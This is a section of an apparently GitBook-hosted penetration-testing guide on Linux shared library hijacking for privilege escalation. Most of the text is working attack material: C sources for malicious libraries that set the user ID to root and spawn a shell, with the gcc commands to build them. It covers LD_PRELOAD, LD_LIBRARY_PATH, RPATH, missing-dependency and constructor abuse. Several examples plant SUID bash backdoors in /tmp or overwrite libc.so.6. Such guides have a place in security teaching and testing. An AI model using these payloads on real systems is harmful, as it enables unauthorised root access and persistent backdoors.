This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Shared library hijacking

Shared Library Hijacking

What Makes Shared Library Hijacking Dangerous

Shared library hijacking exploits the dynamic library loading mechanism in Linux systems to execute malicious code with elevated privileges. By manipulating library search paths or replacing legitimate libraries with malicious ones, attackers can intercept function calls and execute arbitrary code when privileged programs load these libraries.

The Attack Principle: Exploit scenarios where:

  • Programs load shared libraries from user-controllable locations

  • Library search paths include writable directories

  • Environment variables control library loading behavior

  • SUID/SGID binaries can be forced to load malicious libraries

  • Library dependencies can be replaced or intercepted

Why This Works: Linux uses a specific order to search for shared libraries. If an attacker can place a malicious library in a location that's searched before the legitimate one, their code will be executed with the privileges of the calling program.

Library Loading Discovery and Enumeration

Library Search Path Analysis

Library Path Discovery:

# Check library search configuration
cat /etc/ld.so.conf
cat /etc/ld.so.conf.d/*

# View library cache
ldconfig -p | head -20

# Check library search order
ld --verbose | grep SEARCH_DIR

# Display runtime library search paths
echo $LD_LIBRARY_PATH

Binary Library Dependencies:

# Check library dependencies for SUID binaries
find / -perm -4000 -exec ldd {} \; 2>/dev/null

# Analyze specific binary dependencies
ldd /usr/bin/suid_binary

# Check for missing libraries
ldd /usr/bin/suid_binary | grep "not found"

# Detailed library loading information
LD_DEBUG=libs ldd /usr/bin/suid_binary

Writable Library Directories:

# Find writable directories in library search path
for dir in $(ldconfig -p | awk '{print $4}' | sort -u | xargs dirname | sort -u); do
    [ -w "$dir" ] && echo "Writable: $dir"
done

# Check common library directories
ls -la /usr/lib /usr/local/lib /lib
find /usr/local/lib -writable 2>/dev/null

High-Value Library Hijacking Techniques

LD_PRELOAD Exploitation

Why LD_PRELOAD is Critical: Forces programs to load specified libraries before all others, allowing complete function interception.

Basic LD_PRELOAD Hijacking:

# Create malicious shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}' > /tmp/preload.c

# Compile malicious library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

# Execute SUID binary with LD_PRELOAD
LD_PRELOAD=/tmp/preload.so /usr/bin/suid_binary

Function Hijacking with LD_PRELOAD:

# Hijack specific functions (e.g., printf)
echo '#include <stdio.h>
#include <stdarg.h>
#include <sys/types.h>
#include <stdlib.h>
int printf(const char *format, ...) {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}' > /tmp/printf_hijack.c

gcc -fPIC -shared -o /tmp/printf_hijack.so /tmp/printf_hijack.c

LD_PRELOAD=/tmp/printf_hijack.so /usr/bin/vulnerable_binary

LD_LIBRARY_PATH Exploitation

Library Path Hijacking:

# Create directory structure mimicking system libraries
mkdir -p /tmp/lib_hijack/lib/x86_64-linux-gnu

# Create malicious library with same name as legitimate one
echo '#include <stdio.h>
#include <stdlib.h>
void __libc_start_main() {
    system("/bin/bash");
}' > /tmp/lib_hijack/fake_libc.c

gcc -fPIC -shared -o /tmp/lib_hijack/lib/x86_64-linux-gnu/libc.so.6 /tmp/lib_hijack/fake_libc.c

# Set library path and execute
export LD_LIBRARY_PATH=/tmp/lib_hijack/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
/usr/bin/suid_binary

Missing Library Exploitation:

# If binary has missing library dependency
ldd /usr/bin/vulnerable_binary | grep "not found"
# => libcustom.so.1 => not found

# Create malicious library with missing name
echo 'void _init() { system("/bin/bash"); }' > /tmp/libcustom.c
gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles

# Place in library search path
cp /tmp/libcustom.so.1 /usr/local/lib/
ldconfig

# Execute binary - will load our malicious library
/usr/bin/vulnerable_binary

Library Replacement

Direct Library Replacement:

# Find writable library directories
find /usr/local/lib -type f -name "*.so*" -writable 2>/dev/null

# Backup and replace legitimate library
cp /usr/local/lib/legitimate.so /usr/local/lib/legitimate.so.bak

# Create malicious replacement
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

// Function to load original library and call original function
int original_function(int arg) {
    void *handle = dlopen("/usr/local/lib/legitimate.so.bak", RTLD_LAZY);
    int (*orig_func)(int) = dlsym(handle, "original_function");
    
    // Execute malicious code
    system("cp /bin/bash /tmp/lib_backdoor; chmod 4755 /tmp/lib_backdoor");
    
    // Call original function
    return orig_func(arg);
}' > /tmp/replacement.c

gcc -fPIC -shared -o /usr/local/lib/legitimate.so /tmp/replacement.c -ldl

Advanced Library Hijacking

RPATH/RUNPATH Exploitation

RPATH Analysis:

# Check for RPATH/RUNPATH in binaries
objdump -x /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"
readelf -d /usr/bin/suid_binary | grep -E "(RPATH|RUNPATH)"

# If RPATH points to writable directory
objdump -x /usr/bin/binary | grep RPATH
# RPATH: /opt/app/lib

# Check if RPATH directory is writable
ls -la /opt/app/lib

RPATH Exploitation:

# Create malicious library in RPATH directory
echo 'void _init() { 
    setuid(0); 
    system("/bin/bash"); 
}' > /tmp/malicious.c

gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/malicious.c

# Binary will load from RPATH directory first
/usr/bin/vulnerable_binary

Library Symbol Interposition

Symbol Hijacking:

# Identify symbols used by target binary
nm -D /usr/bin/target_binary | grep " U "
objdump -T /usr/bin/target_binary

# Create library that exports hijacked symbols
echo '#include <stdio.h>
#include <stdlib.h>

// Hijack malloc function
void* malloc(size_t size) {
    static int executed = 0;
    if (!executed) {
        executed = 1;
        system("/bin/bash");
    }
    
    // Call original malloc through dlsym
    void* (*original_malloc)(size_t) = dlsym(RTLD_NEXT, "malloc");
    return original_malloc(size);
}' > /tmp/symbol_hijack.c

gcc -fPIC -shared -o /tmp/symbol_hijack.so /tmp/symbol_hijack.c -ldl

LD_PRELOAD=/tmp/symbol_hijack.so /usr/bin/target_binary

Library Constructor Abuse

Constructor Function Exploitation:

# Create library with constructor that executes before main()
echo '#include <stdio.h>
#include <stdlib.h>

__attribute__((constructor))
void before_main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

// Dummy function to make it a valid library
void dummy_function() {
    printf("Library loaded\n");
}' > /tmp/constructor.c

gcc -fPIC -shared -o /tmp/constructor.so /tmp/constructor.c

# Library constructor executes when loaded
LD_PRELOAD=/tmp/constructor.so /usr/bin/any_binary

SUID Binary Library Exploitation

SUID Library Hijacking

SUID Binary Analysis:

# Find SUID binaries with library dependencies
find / -perm -4000 -exec ldd {} \; 2>/dev/null | grep -B1 -A5 "not found"

# Check if SUID binary accepts LD_PRELOAD
LD_PRELOAD=/dev/null /usr/bin/suid_binary 2>&1

# Test library loading behavior
strace -e open,openat /usr/bin/suid_binary 2>&1 | grep "\.so"

Exploiting SUID with Custom Libraries:

# If SUID binary loads libraries from writable location
# Example: Custom SUID application in /opt/
find /opt -perm -4000 -exec ldd {} \; 2>/dev/null

# Create malicious library in application's library path
echo 'void _init() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", (char *)NULL);
}' > /tmp/suid_exploit.c

gcc -fPIC -shared -nostartfiles -o /opt/app/lib/libexploit.so /tmp/suid_exploit.c

# Execute SUID binary
/opt/app/suid_application

Real-World Library Hijacking Examples

Example 1: LD_PRELOAD SUID Bypass

Discovery:

# Found SUID binary that doesn't strip LD_PRELOAD
find /usr/local/bin -perm -4000 -exec {} --help \; 2>&1 | grep -B2 -A2 "environment"

Exploitation:

# Create shared library
echo '#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); 
    setuid(0);
    system("/bin/bash -p");
}' > /tmp/exploit.c

gcc -fPIC -shared -o /tmp/exploit.so /tmp/exploit.c -nostartfiles

# Execute with LD_PRELOAD
LD_PRELOAD=/tmp/exploit.so /usr/local/bin/custom_suid

# Verify privilege escalation
id
# uid=0(root) gid=0(root)

Example 2: Missing Library Dependency

Discovery:

# Found binary with missing library
ldd /opt/application/binary
# libcustom.so.1 => not found

Exploitation:

# Create malicious library with missing name
echo '#include <stdio.h>
#include <stdlib.h>
void _init() {
    system("cp /bin/bash /tmp/missing_lib_backdoor");
    system("chmod 4755 /tmp/missing_lib_backdoor");
}

// Export any symbols the binary might expect
void custom_function() {
    printf("Custom function called\n");
}' > /tmp/libcustom.c

gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c -nostartfiles

# Place in library search path
sudo cp /tmp/libcustom.so.1 /usr/local/lib/
sudo ldconfig

# Execute binary
/opt/application/binary

# Use created backdoor
/tmp/missing_lib_backdoor -p

Example 3: Writable Library Directory

Discovery:

# Found writable library directory in search path
ldconfig -p | grep "/usr/local/lib"
ls -la /usr/local/lib
# drwxrwxrwx 2 root root 4096 Dec 25 12:00 /usr/local/lib

Exploitation:

# Check what libraries programs load from this directory
ldd /usr/bin/* 2>/dev/null | grep "/usr/local/lib" | head -5

# Create malicious version of commonly used library
echo '#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int puts(const char *s) {
    static int executed = 0;
    if (!executed) {
        executed = 1;
        system("cp /bin/bash /tmp/lib_hijack_backdoor; chmod 4755 /tmp/lib_hijack_backdoor");
    }
    
    // Call original puts
    int (*orig_puts)(const char *) = dlsym(RTLD_NEXT, "puts");
    return orig_puts(s);
}' > /tmp/libc_fake.c

gcc -fPIC -shared -o /usr/local/lib/libc.so.6 /tmp/libc_fake.c -ldl

# Wait for any program to use puts function
# Access backdoor when created
/tmp/lib_hijack_backdoor -p

Key Operational Considerations

Success Indicators

  • LD_PRELOAD accepted by SUID/SGID binaries

  • Writable library directories found in search path

  • Missing library dependencies identified in binaries

  • RPATH/RUNPATH pointing to writable directories

  • Privilege escalation achieved through library loading

Common Failure Points

  • LD_PRELOAD stripped by security-aware SUID binaries

  • Library directories have proper permissions

  • Modern protections prevent library hijacking

  • AppArmor/SELinux blocking library loading

  • Library path restrictions in secure environments

Exploitation Notes

  • Custom applications more likely to have vulnerable library loading

  • Development environments often have relaxed library security

  • LD_PRELOAD most reliable when accepted by SUID binaries

  • Missing dependencies provide excellent attack opportunities

Shared library hijacking remains a powerful privilege escalation technique, particularly effective against custom applications and in environments where library loading security is not strictly controlled.

Last updated

Was this helpful?